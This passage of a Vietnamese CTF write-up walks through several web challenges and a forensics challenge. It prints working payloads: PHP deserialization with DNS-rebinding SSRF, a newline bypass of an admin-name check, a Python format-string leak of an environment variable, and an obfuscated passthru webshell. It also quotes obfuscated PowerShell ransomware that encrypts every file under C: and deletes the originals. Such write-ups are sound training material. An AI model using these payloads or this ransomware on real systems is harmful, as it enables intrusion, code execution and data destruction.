            $content=<span class="hljs-string">'safe'</span>;
            $result = parse_url(<span class="hljs-keyword">$this</span>-&gt;url);
            var_dump($result);
            <span class="hljs-keyword">if</span>($result[<span class="hljs-string">'scheme'</span>]!==<span class="hljs-string">'http'</span> &amp;&amp; $result[<span class="hljs-string">'scheme'</span>]!==<span class="hljs-string">'https'</span>){
                $content=<span class="hljs-string">"Not support this scheme"</span>;
            }
            <span class="hljs-keyword">if</span>(isPrivateIP($result[<span class="hljs-string">'host'</span>])|| strlen($result[<span class="hljs-string">'host'</span>])&lt;<span class="hljs-number">9</span>){
                $content=<span class="hljs-string">"Private IP not allowed or Length host too short"</span>;
            }
            <span class="hljs-keyword">if</span> (strpos($result[<span class="hljs-string">'host'</span>], <span class="hljs-string">'['</span>) !== <span class="hljs-literal">false</span> || strpos($result[<span class="hljs-string">'host'</span>], <span class="hljs-string">']'</span>) !== <span class="hljs-literal">false</span>) {
                $content = <span class="hljs-string">"Host contains '[' or ']'."</span>;
            }
            <span class="hljs-keyword">if</span>($content===<span class="hljs-string">'safe'</span>){
                $options = [
                    <span class="hljs-string">'http'</span> =&gt; [
                        <span class="hljs-string">'follow_location'</span> =&gt; <span class="hljs-number">0</span>
                    ]
                ];
                $context = stream_context_create($options);
                <span class="hljs-keyword">echo</span> file_get_contents(<span class="hljs-keyword">$this</span>-&gt;url, <span class="hljs-literal">false</span>, $context);
            }<span class="hljs-keyword">else</span>{
                <span class="hljs-keyword">echo</span> $content;
            }
        }<span class="hljs-keyword">else</span>{
            <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;div style="display: flex; justify-content: center; align-items: center; height: 100vh; margin: 1; background-color: #f9f9f9;"&gt;
        &lt;div style="background-color: #ffdddd; color: #d8000c; border: 1px solid #d8000c; border-radius: 5px; padding: 15px 20px; max-width: 300px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); text-align: center;"&gt;
            &lt;strong&gt;Error:&lt;/strong&gt; You are not admin.
        &lt;/div&gt;
    &lt;/div&gt;'</span>;
        }
    }
}
</code></pre>
<ul>
<li><p>__wakeup():</p>
<ul>
<li><p>Thay đổi giá trị của username nếu nó là "hoshino".</p>
</li>
<li><p>Thiết lập giá trị cho thuộc tính isAdmin dựa trên giá trị của username.</p>
</li>
</ul>
</li>
<li><p>__destruct():</p>
<ul>
<li><p>Kiểm tra xem người dùng có phải là admin hay không.</p>
</li>
<li><p>Nếu là admin, phân tích URL và kiểm tra tính hợp lệ của nó.</p>
</li>
<li><p>Nếu URL hợp lệ, thực hiện yêu cầu HTTP và hiển thị nội dung.</p>
</li>
<li><p>Nếu URL không hợp lệ hoặc người dùng không phải là admin, hiển thị thông báo lỗi tương ứng.</p>
</li>
</ul>
</li>
</ul>
<p>Chỉ <code>hoshino</code> có role admin nhưng ta không thể dùng mật khẩu thu được trước đó vì <code>login.php</code> sử dụng password_hash()</p>
<p><img src="https://hackmd.io/_uploads/SkUJWnovJg.png" alt="{F8BB176E-F786-472D-B544-638315BBCF4D}" /></p>
<p>-&gt; Có hai cách khác để lấy được role Admin ở đây:</p>
<ul>
<li><p>Để ý <code>__wakeup()</code> sử dụng <code>switch case</code> để kiểm tra username</p>
<p>  <img src="https://hackmd.io/_uploads/SyreGg3vkg.png" alt="image" /></p>
</li>
</ul>
<p><img src="https://hackmd.io/_uploads/BkarWx2D1l.png" alt="{113A59A2-D5C5-454D-A9B0-558B2651F44F}" /></p>
<p><img src="https://hackmd.io/_uploads/SJuF-lhw1l.png" alt="{6BF06985-0744-4B41-905D-A65A5B959EED}" /></p>
<ul>
<li><p>Hoặc ta trực tiếp sửa serialize data và thực hiện <a target="_blank" href="https://github.com/ambionics/phpggc?tab=readme-ov-file#fast-destruct">fast destruct</a> để bỏ qua hàm <code>__wakeup()</code></p>
<pre><code class="lang-php">  a:<span class="hljs-number">2</span>:{i:<span class="hljs-number">0</span>;O:<span class="hljs-number">4</span>:<span class="hljs-string">"User"</span>:<span class="hljs-number">4</span>:{s:<span class="hljs-number">8</span>:<span class="hljs-string">"username"</span>;s:<span class="hljs-number">6</span>:<span class="hljs-string">"dunvuo"</span>;s:<span class="hljs-number">13</span>:<span class="hljs-string">"�User�isAdmin"</span>;N;s:<span class="hljs-number">8</span>:<span class="hljs-string">"password"</span>;s:<span class="hljs-number">3</span>:<span class="hljs-string">"123"</span>;s:<span class="hljs-number">3</span>:<span class="hljs-string">"url"</span>;s:<span class="hljs-number">0</span>:<span class="hljs-string">""</span>;}i:<span class="hljs-number">0</span>;s:<span class="hljs-number">14</span>:<span class="hljs-string">"useless string"</span>;}
</code></pre>
<ul>
<li><p><code>isAdmin</code> là private property khi serialize có dạng <code>\0ClassName\0</code>, <code>\0</code> là NULL bytes</p>
</li>
<li><p>ref: <a target="_blank" href="https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html">https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html</a></p>
</li>
</ul>
</li>
<li><p>Hàm __destruct() kiểm tra role admin tiếp tục check tới url nếu thỏa mãn sẽ gọi tới <code>file_get_contents()</code></p>
</li>
</ul>
<pre><code class="lang-php">            $content=<span class="hljs-string">'safe'</span>;
            $result = parse_url(<span class="hljs-keyword">$this</span>-&gt;url);
            var_dump($result);
            <span class="hljs-keyword">if</span>($result[<span class="hljs-string">'scheme'</span>]!==<span class="hljs-string">'http'</span> &amp;&amp; $result[<span class="hljs-string">'scheme'</span>]!==<span class="hljs-string">'https'</span>){
                $content=<span class="hljs-string">"Not support this scheme"</span>;
            }
            <span class="hljs-keyword">if</span>(isPrivateIP($result[<span class="hljs-string">'host'</span>])|| strlen($result[<span class="hljs-string">'host'</span>])&lt;<span class="hljs-number">9</span>){
                $content=<span class="hljs-string">"Private IP not allowed or Length host too short"</span>;
            }
            <span class="hljs-keyword">if</span> (strpos($result[<span class="hljs-string">'host'</span>], <span class="hljs-string">'['</span>) !== <span class="hljs-literal">false</span> || strpos($result[<span class="hljs-string">'host'</span>], <span class="hljs-string">']'</span>) !== <span class="hljs-literal">false</span>) {
                $content = <span class="hljs-string">"Host contains '[' or ']'."</span>;
            }
            <span class="hljs-keyword">if</span>($content===<span class="hljs-string">'safe'</span>){
                $options = [
                    <span class="hljs-string">'http'</span> =&gt; [
                        <span class="hljs-string">'follow_location'</span> =&gt; <span class="hljs-number">0</span>
                    ]
                ];
                $context = stream_context_create($options);
                <span class="hljs-keyword">echo</span> file_get_contents(<span class="hljs-keyword">$this</span>-&gt;url, <span class="hljs-literal">false</span>, $context);
</code></pre>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isPrivateIP</span>(<span class="hljs-params">$input</span>) </span>{
    <span class="hljs-keyword">if</span> (filter_var($input, FILTER_VALIDATE_IP)) {
        $ip = $input;
    } <span class="hljs-keyword">else</span> {
        $ip = gethostbyname($input);
        <span class="hljs-keyword">if</span> (filter_var($ip, FILTER_VALIDATE_IP) === <span class="hljs-literal">false</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }
    }
    <span class="hljs-keyword">if</span> (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
        <span class="hljs-keyword">if</span> ($ip === <span class="hljs-string">'127.0.0.1'</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
        $privateRanges = [
            [<span class="hljs-string">'10.0.0.0'</span>, <span class="hljs-string">'10.255.255.255'</span>],
            [<span class="hljs-string">'172.16.0.0'</span>, <span class="hljs-string">'172.31.255.255'</span>],
            [<span class="hljs-string">'192.168.0.0'</span>, <span class="hljs-string">'192.168.255.255'</span>],
        ];

        $ipLong = ip2long($ip);

        <span class="hljs-keyword">foreach</span> ($privateRanges <span class="hljs-keyword">as</span> [$start, $end]) {
            <span class="hljs-keyword">if</span> ($ipLong &gt;= ip2long($start) &amp;&amp; $ipLong &lt;= ip2long($end)) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
            }
        }
    }
    <span class="hljs-keyword">if</span> (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
        <span class="hljs-keyword">if</span> ($ip === <span class="hljs-string">'::1'</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
        <span class="hljs-keyword">if</span> (strpos($ip, <span class="hljs-string">'fc'</span>) === <span class="hljs-number">0</span> || strpos($ip, <span class="hljs-string">'fd'</span>) === <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
}
</code></pre>
<p>Ta có thể tận dụng <code>file_get_contents()</code> đọc flag_2 tại <code>flag_final.php</code></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
$ip = $_SERVER[<span class="hljs-string">'REMOTE_ADDR'</span>];
<span class="hljs-keyword">if</span> ($ip === <span class="hljs-string">'127.0.0.1'</span> || $ip === <span class="hljs-string">'::1'</span> || $ip === <span class="hljs-string">'localhost'</span>) {
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"Flag_part2: part2}"</span>;
} <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"Bạn không có quyền truy cập vào trang này."</span>;
    <span class="hljs-keyword">exit</span>;
}
<span class="hljs-meta">?&gt;</span>
</code></pre>
<ul>
<li><p>Kiểm tra và lấy địa chỉ IP:</p>
<ul>
<li><p>Sử dụng <code>filter_var()</code> với <code>FILTER_VALIDATE_IP</code> để kiểm tra xem $input có phải là địa chỉ IP hợp lệ hay không.</p>
</li>
<li><p>Nếu $input không phải là địa chỉ IP hợp lệ, sử dụng <code>gethostbyname()</code> để lấy địa chỉ IP từ hostname.</p>
</li>
<li><p>Nếu địa chỉ IP sau khi lấy từ hostname vẫn không hợp lệ, hàm trả về false.</p>
</li>
</ul>
</li>
<li><p>Kiểm tra địa chỉ IPv4:</p>
<ul>
<li><p>Sử dụng <code>filter_var()</code> với <code>FILTER_FLAG_IPV4</code> để kiểm tra xem địa chỉ IP có phải là IPv4 hay không.</p>
</li>
<li><p>Nếu địa chỉ IP là <code>127.0.0.1</code>, hàm trả về true.</p>
</li>
<li><p>Chuyển đổi địa chỉ IP sang dạng số nguyên bằng <code>ip2long()</code>. Kiểm tra xem địa chỉ IP có nằm trong các dải địa chỉ IP riêng tư hay không.</p>
</li>
</ul>
</li>
<li><p>Kiểm tra địa chỉ IPv6:</p>
<ul>
<li><p>Sử dụng <code>filter_var()</code> với <code>FILTER_FLAG_IPV6</code> để kiểm tra xem địa chỉ IP có phải là IPv6 hay không.</p>
</li>
<li><p>Nếu địa chỉ IP là <code>::1</code>, hàm trả về true.</p>
</li>
<li><p>Kiểm tra xem địa chỉ IP có bắt đầu bằng <code>fc</code> hoặc <code>fd</code> (địa chỉ IPv6 riêng tư) hay không.</p>
</li>
</ul>
</li>
</ul>
<p>Mục đích cuối cùng là một url truy cập tới <a target="_blank" href="http://localhost/flag_final.php"><code>http://localhost/flag_final.php</code></a> để đọc flag</p>
<p>Mình tách đoạn xử lý filter url riêng ra để tiện test</p>
<p><img src="https://hackmd.io/_uploads/S1bDmCiDyg.png" alt="{2431468E-4293-4AE6-A4D1-C5D0CC441384}" /></p>
<p><img src="https://hackmd.io/_uploads/ByCtmRswye.png" alt="{438C6019-13DE-4623-B4CE-579C5B1128F4}" /></p>
<ul>
<li><p>Phần filter chỉ kiểm tra với giá trị <code>"127.0.0.1"</code> thay vì cả dải loopback ip <code>127.0.0.0/8</code> nên bất kỳ ip trong dải đều valid.</p>
</li>
<li><p>Ngoài ra với linux <code>0.0.0.0</code> cũng sẽ trỏ về <a target="_blank" href="http://localhost">localhost</a></p>
</li>
<li><p><img src="https://hackmd.io/_uploads/S1dOhLLFJe.png" alt="{36730B85-4228-4814-980B-DB27784CB9D3}" class="image--center mx-auto" /></p>
</li>
<li><p>Ref: <a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md#bypass-localhost-with-cidr">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md#bypass-localhost-with-cidr</a></p>
</li>
</ul>
<blockquote>
<p>Đây không phải intended solution của tác giả, mình gặp may nên bypass phần ip này khá dễ dàng... tobe continued...</p>
</blockquote>
<p><strong>intended: sử dụng dns rebinding</strong></p>
<ul>
<li><p>Bởi hàm isPrivateIP() xử lý có thực hiện phân giải tên miền thành ip với <code>gethostbyname()</code>. sau đó lại <code>file_get_content()</code> với chính url đó.</p>
</li>
<li><p>Sử dụng <a target="_blank" href="https://lock.cmpxchg8b.com/rebinder.html">tool _</a> tạo một domain có 2 lần thay đổi địa IP A, B. Khi hê thống phân giải tên miền lần đầu sẽ trỏ tới ip hợp lệ, nhưng lần phân giải thứ hai lại trỏ về <a target="_blank" href="http://localhost">localhost</a></p>
<p>  <img src="https://hackmd.io/_uploads/SJ8bJGSK1e.png" alt="{FBC2283C-8757-49A3-B30B-B168F36A2440}" /></p>
</li>
</ul>
<p><img src="https://hackmd.io/_uploads/rJPmR-HKke.png" alt="{3ECEDD87-5328-4C35-84A1-C82C36D0D375}" /></p>
<p><strong>Tham khảo:</strong> - <a target="_blank" href="https://cookiearena.org/penetration-testing/dns-rebinding-la-gi/">https://cookiearena.org/penetration-testing/dns-rebinding-la-gi/</a> - <a target="_blank" href="https://www.youtube.com/watch?v=Xu519u5B-dM">https://www.youtube.com/watch?v=Xu519u5B-dM</a> - <a target="_blank" href="https://danielmiessler.com/blog/dns-rebinding-explained">https://danielmiessler.com/blog/dns-rebinding-explained</a> - <a target="_blank" href="https://lock.cmpxchg8b.com/rebinder.html">https://lock.cmpxchg8b.com/rebinder.html</a></p>
<p><strong>Payload cuối cùng:</strong></p>
<pre><code class="lang-php">O:<span class="hljs-number">4</span>:<span class="hljs-string">"User"</span>:<span class="hljs-number">4</span>:{s:<span class="hljs-number">8</span>:<span class="hljs-string">"username"</span>;i:<span class="hljs-number">0</span>;s:<span class="hljs-number">13</span>:<span class="hljs-string">"\0User\0isAdminN;s:8:"</span>password<span class="hljs-string">";s:60:"</span>$<span class="hljs-number">2</span>y$<span class="hljs-number">10</span>$EuuwA5p8KFxqF6BV<span class="hljs-number">.9</span>Lcpu/<span class="hljs-number">5</span>x7.p/QAeDl2x09JYAhRh9rwNeWsF2<span class="hljs-string">";s:3:"</span>url<span class="hljs-string">";s:48:"</span>http:<span class="hljs-comment">//01020304.c0a80001.rbndr.us/flag_final.php";}</span>
</code></pre>
<p><img src="https://hackmd.io/_uploads/SytDVCow1l.png" alt="{BE678CCF-AC2B-4EC9-893B-524069DC4068}" /></p>
<blockquote>
<p><em>Flag_2: D1n4N0c_K1Ch_Tr4n_B4y_Ph4p_Ph01}</em> <em>KCSC{Cu_Ph4i_G01_L4_D1n4_N0c_K1Ch_Tr4n_B4y_Ph4p_Ph01}</em></p>
</blockquote>
<h3 id="heading-todo">todo</h3>
<p>Những bài sau mình không hoàn thành kịp trong thời gian diễn ra giải</p>
<p><img src="https://hackmd.io/_uploads/Skf8I1tybl.png" alt="image" /></p>
<h4 id="heading-break">Break</h4>
<p>Ở bài này mình dễ dàng thấy được bug để đọc file flag tại route <code>/home</code></p>
<p><img src="https://hackmd.io/_uploads/Sko1sktJZx.png" alt="image" /></p>
<p>Tuy nhiên ta cần có tài khoản admin để truy cập vào đường dẫn này...</p>
<p>Mình chuyển sang xem kỹ hơn tại tính năng register:</p>
<pre><code class="lang-python"><span class="hljs-meta">@app.route('/register', methods=['GET','POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">register</span>():</span>
    <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">'POST'</span>:
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> request.data:
                <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"No data provided"</span>}), <span class="hljs-number">200</span>

            data = json.loads(request.data)
            username = data.get(<span class="hljs-string">"username"</span>)
            password = data.get(<span class="hljs-string">"password"</span>)

            m = re.search(<span class="hljs-string">r".*"</span>, username)
            <span class="hljs-keyword">if</span> m.group().strip().find(<span class="hljs-string">"admin"</span>) == <span class="hljs-number">0</span>:
                <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"message"</span>: <span class="hljs-string">"Invalid username"</span>}), <span class="hljs-number">200</span>

            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> username <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> password:
                <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"message"</span>: <span class="hljs-string">"Registration failed, missing fields"</span>}), <span class="hljs-number">200</span>

            <span class="hljs-keyword">if</span> len(password) &lt; <span class="hljs-number">8</span>:
                <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"message"</span>: <span class="hljs-string">"Password must be at least 8 characters"</span>}), <span class="hljs-number">200</span>

            user = User()
            user.username = username.strip()
            user.password = password.strip()
            Users.append(user)
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"message"</span>: <span class="hljs-string">"Registration successful"</span>}), <span class="hljs-number">200</span>
</code></pre>
<p>Có thể thấy ở đây trang web đang cố chặn người dùng đăng ký tài khoản với username là <code>admin</code>. Cụ thể nó sử dụng regex <code>.*</code> để trích xuất toàn bộ input người dùng nhập vào sau đó kiểm tra nếu username bắt đầu với chuỗi <strong>"admin"</strong> thì sẽ trả lỗi.</p>
<pre><code class="lang-python">            m = re.search(<span class="hljs-string">r".*"</span>, username)
            <span class="hljs-keyword">if</span> m.group().strip().find(<span class="hljs-string">"admin"</span>) == <span class="hljs-number">0</span>:
                <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"message"</span>: <span class="hljs-string">"Invalid username"</span>}), <span class="hljs-number">200</span>
</code></pre>
<p>-&gt; Ở đây có một vấn đề đó là: trang web thực hiện kiểm tra username trước rồi lại đi <code>strip()</code></p>
<pre><code class="lang-python">            user.username = username.strip()
            user.password = password.strip()
</code></pre>
<p>Thêm nữa dữ liệu input được xử lý bằng <code>json.loads()</code></p>
<pre><code class="lang-plaintext">            data = json.loads(request.data)
            username = data.get("username")
            password = data.get("password")
</code></pre>
<p>Trong khi cách lấy POST data thường gặp là:</p>
<p><img src="https://hackmd.io/_uploads/ByUxfRx_ye.png" alt="{4EE3BE89-FFD6-4B0D-909F-AEC5E95A8D3E}" /></p>
<blockquote>
<p><a target="_blank" href="https://stackoverflow.com/questions/13279399/how-to-obtain-values-of-request-variables-using-python-and-flask">https://stackoverflow.com/questions/13279399/how-to-obtain-values-of-request-variables-using-python-and-flask</a></p>
</blockquote>
<p>-&gt; Những chuỗi như <code>\r</code> <code>\n</code> sẽ được chuyển thành ký tự xuống dòng thực sự thay vì là "raw string"</p>
<p>Lý do dùng <code>\r\nadmin</code> bypass thành công nhưng <code>admin\r\n</code> thì không: Đó là vì phần kiểm tra username sử dụng regex pattern <code>.*</code> -&gt; mà theo <a target="_blank" href="https://docs.python.org/3/library/re.html">docs</a> nói:</p>
<p><code>(Dot.) In the default mode, this matches any character EXCEPT A NEWLINE</code></p>
<p>Khi đó biến <code>m</code> sẽ không match được bất kỳ input nào ta nhập vào. Vậy là mình đã có thể bypass và reg được account <code>admin</code></p>
<p><img src="https://hackmd.io/_uploads/BJUxPAxdkx.png" alt="{110F58D9-6D13-4272-BDD4-9F2643768C0B}" /></p>
<p>Tiếp theo chỉ cần truy cập route <code>/home</code> và lấy flag:</p>
<pre><code class="lang-plaintext">GET /home?protocol=file&amp;host=/flag.txt
</code></pre>
<h4 id="heading-giftcard">giftcard</h4>
<p>Flag được load vào biến môi trường</p>
<pre><code class="lang-python">FLAG = os.environ.get(<span class="hljs-string">"FLAG"</span>, <span class="hljs-string">"KCSC{FAKE_FLAG}"</span>)
</code></pre>
<pre><code class="lang-python"><span class="hljs-meta">@app.route("/card")</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">render_card</span>():</span>
    sender = request.args.get(<span class="hljs-string">"sender"</span>)
    receiver = request.args.get(<span class="hljs-string">"receiver"</span>)

    card = Card(receiver, sender)
    card_content = request.args.get(<span class="hljs-string">"card_content"</span>)

    xmas_card = <span class="hljs-string">"From: {card.sender}\r\nTo: {card.receiver}\r\n"</span> + card_content
    xmas_card = xmas_card.format(card=card) 

    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"card.html"</span>, xmas_card=xmas_card)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    app.run(host=<span class="hljs-string">"0.0.0.0"</span>, port=<span class="hljs-number">5000</span>)
</code></pre>
<p>-&gt; Lỗi tại đoạn <code>....format(card=card)</code></p>
<p><strong>payload:</strong></p>
<pre><code class="lang-plaintext">GET /card?card_content={card.__init__.__globals__['FLAG']}`:
</code></pre>
<p>-&gt; Vì <code>.format(card=card)</code>: không sử dụng <code>{{}}</code> vì <code>{}</code> trong trường hợp này đóng vai trò là placeholder của hàm format(), cần truyền object card vào đây.</p>
<h4 id="heading-xxd-service">XXD Service</h4>
<p>Đây là một challenge black-box, trang web này cho phép người dùng upload một file bất kỳ, một điểm đáng chú ý là mặc dù tên file bị sửa random nhưng đuôi extension của file mình upload vẫn được giữ nguyên (<code>.php</code>)</p>
<p>-&gt; Có thể RCE nếu mình có thể upload được file chứa webshell</p>
<p>Bên cạnh đó trang web cũng chặn một số từ khóa nguy hiểm và ta cần phải bypass</p>
<p><img src="https://hackmd.io/_uploads/BkLssdgOkx.png" alt="image" /></p>
<p>-&gt; Bypass tag mở php với uppercase<code>&lt;?phP</code> -&gt; hàm <code>system()</code>, <code>exec()</code> thường dùng bị chặn -&gt; ngoài ra có <code>passthru()</code> -&gt; vậy payload tạm thời là <code>&lt;?phP passthru([$_GET['cmd']]);</code></p>
<p>Tuy nhiên khi truy cập vào file "upload_abcabc.php" thì nhận thấy nội dung file đã bị thay đổi</p>
<p><img src="https://hackmd.io/_uploads/ByREaOl_1g.png" alt="{3C64D7F5-7993-4509-9E1E-B40CEB134C17}" /></p>
<p>-&gt; Có vẻ ở phía backend đã thực hiện một số lệnh kiểu như:</p>
<pre><code class="lang-bash">xxd filename &gt; uploads/user_/...chall.&lt;ext&gt;
</code></pre>
<blockquote>
<p>The xxd command is a utility used in Unix-like operating systems to create a hexadecimal dump of a file or standard input. It can also perform the reverse operation, converting a hexadecimal dump back into its original binary form.</p>
</blockquote>
<p>Kết quả là webshell mình tạo đã bị rối vào đống hexdump được tạo ra, php không thể thực thi vì lỗi cú pháp</p>
<p>-&gt; Bypass với comment - <code>/**/</code></p>
<p><strong>Payload:</strong></p>
<pre><code class="lang-plaintext">&lt;?phP   /**/$a="p"/**/."ass"/**/."thr"/**/."u"; /**/$b="c"/**/."at "/**/."/f" /**/."*"; /**/$a($b);
</code></pre>
<h2 id="heading-ii-forensics">II. Forensics</h2>
<p><strong>Cre: trithong1906</strong></p>
<h3 id="heading-hdsd">HDSD</h3>
<p><img src="https://hackmd.io/_uploads/HJK5N_5PJg.png" alt="image" /></p>
<p><strong>Step 1</strong></p>
<ol>
<li><p>Challenge cung cấp cho em file <a target="_blank" href="http://HDSD.ad">HDSD.ad</a>1 nên em mở bằng FTK image.</p>
</li>
<li><p>Duyệt qua các folder thì dễ dàng thấy được folder <code>Downloads</code> có voucher mà đề bài đề cập đương nhiên nó bị mã hóa rồi.</p>
</li>
</ol>
<p><img src="https://hackmd.io/_uploads/r1Eg4o5Pyl.png" alt="image" /></p>
<ol start="3">
<li><p>Theo đề bài thì bạn M vô tình tải file mã độc, theo kinh nghiệm của em mấy bài liên quan đến tải mã độc hay liên quan đến trình duyệt lắm nên em điều tra mấy folder của trình duyệt.</p>
</li>
<li><p>Chỉ có 1 trình duyệt được sử dụng ở máy của nạn nhân là <code>EDGE</code> nếu điều tra bình thường thì sẽ không thấy được gì ở những folder của EDGE nhưng Windows 10 phiên bản 22H2 nên Microsoft Edge tích hợp chế độ IE để hỗ trợ các ứng dụng hoặc trang web cũ chỉ hoạt động trên Internet Explorer, đây là giải pháp thay thế chính thức và được Microsoft hỗ trợ lâu dài.</p>
</li>
<li><p>Vì thế em đã chuyển sang folder INetCache để điều tra và đã tìm được malware.</p>
</li>
</ol>
<p><img src="https://hackmd.io/_uploads/H1XwTu5v1g.png" alt="image" /></p>
<p>Sở dĩ em biết tìm ở folder INetCache vì năm 2020 ở giải của mấy anh Ấn độ cũng từng có challenge liên quan đến đường dẫn như vậy nhưng đó là trên windows cũ, và trong thực tế cũng có người bắt gặp malware nằm trong đường dẫn folder tương tự như vậy <a target="_blank" href="https://learn.microsoft.com/en-us/answers/questions/905889/malware-found-in-c-users\(username\)appdatalocalmicr">https://learn.microsoft.com/en-us/answers/questions/905889/malware-found-in-c-users(username)appdatalocalmicr</a></p>
<p><strong>Step 2</strong></p>
<p>Dùng cyberchef ta sẽ xem được đoạn mã thật sự</p>
<p><img src="https://hackmd.io/_uploads/Skxg1K9Dkl.png" alt="image" /></p>
<p>Nhưng nó bị obfuscator dùng powerdecode để deobfuscator</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">iEx</span> (((<span class="hljs-string">'function XOR-String {    param([string]xlJInputString, [string]xlJKey)        xlJinputBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJInputString)    xlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey)    xlJoutputBytes = @()        for (xlJi = 0; xlJi -lt xlJinputBytes.Length; xlJi++) {        xlJoutputBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi % xlJkeyBytes.Length]    }    return [System.Text.Encoding]::UTF8.GetString(xlJoutputBytes)}xlJPCName = xlJenv:COMPUTERNAMExlJKey = XOR-String -InputString xlJPCName -Key 6zoUwU6zoxlJIV = XOR-String -InputString xlJPCName -Key 6zoXD6zoxlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey.PadRight(16).Substring(0,16))xlJivBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJIV.PadRight(16).Substring(0,16))function Encrypt-File {    param([string]xlJInputFile, [string]xlJOutputFile)        xlJaes = [System.Security.Cryptography.Aes]::Create()    xlJaes.Key = xlJkeyBytes    xlJaes.IV = xlJivBytes    xlJencryptor = xlJaes.CreateEncryptor()    xlJinputBytes = [System.IO.File]::ReadAllBytes(xlJInputFile)    xlJencryptedBytes = xlJencryptor.TransformFinalBlock(xlJinputBytes, 0, xlJinputBytes.Length)    [System.IO.File]::WriteAllBytes(xlJOutputFile, xlJencryptedBytes)}Get-ChildItem -File -Recurse CiE ForEach-Object {    xlJinputFile = xlJ_.FullName    xlJoutputFile = 6zoxlJ(xlJ_.FullName).cucked6zo    Encrypt-File -InputFile xlJinputFile -OutputFile xlJoutputFile    if (xlJ_.Extension -ne 6zo.cucked6zo) {        Remove-Item -Path xlJinputFile -Force    }}'</span>)<span class="hljs-operator">-cReplaCe</span>  <span class="hljs-string">'xlJ'</span>,<span class="hljs-string">'$'</span><span class="hljs-operator">-RepLAce</span> <span class="hljs-string">'6zo'</span>,<span class="hljs-string">'"'</span> <span class="hljs-operator">-RepLAce</span>  <span class="hljs-string">'CiE'</span>,<span class="hljs-string">'|'</span>))
</code></pre>
<p>Cả đoạn mã thực chất đang được nhúng trong chuỗi (bị xáo trộn) và được thực thi qua iEx.</p>
<p>Toàn bộ cơ chế:</p>
<ul>
<li><p>Lấy tên máy tính để sinh ra Key và IV.</p>
</li>
<li><p>Duyệt toàn bộ các tệp.</p>
</li>
<li><p>Mã hóa bằng AES (với Key/IV đã sinh).</p>
</li>
<li><p>Xóa tệp gốc.</p>
</li>
<li><p>Thêm đuôi <code>.cucked</code> cho file mã hóa mới.</p>
</li>
</ul>
<p><strong>Step 3</strong></p>
<p>Giờ thì bây giờ ta chỉ cần biết được tên máy tính thì sẽ giải mã được voucher Tên máy tính thì có thể dùng <code>registry explorer</code> xem ở hive file <code>SYSTEM</code></p>
<p><img src="https://hackmd.io/_uploads/SycgbYqDke.png" alt="image" /></p>
<p><strong>Step 4</strong></p>
<p>Dùng script để giải:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor_string</span>(<span class="hljs-params">input_str, key_str</span>):</span>
    input_bytes = input_str.encode(<span class="hljs-string">'utf-8'</span>)
    key_bytes = key_str.encode(<span class="hljs-string">'utf-8'</span>)
    output = bytearray(input_bytes[i] ^ key_bytes[i % len(key_bytes)] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(input_bytes)))
    <span class="hljs-keyword">return</span> output.decode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'ignore'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">derive_key_and_iv</span>(<span class="hljs-params">pc_name</span>):</span>
    key_str = xor_string(pc_name, <span class="hljs-string">"UwU"</span>)
    iv_str = xor_string(pc_name, <span class="hljs-string">"XD"</span>)
    key_padded = (key_str + <span class="hljs-string">' '</span> * <span class="hljs-number">16</span>)[:<span class="hljs-number">16</span>]
    iv_padded = (iv_str + <span class="hljs-string">' '</span> * <span class="hljs-number">16</span>)[:<span class="hljs-number">16</span>]
    <span class="hljs-keyword">return</span> key_padded.encode(<span class="hljs-string">'utf-8'</span>), iv_padded.encode(<span class="hljs-string">'utf-8'</span>)

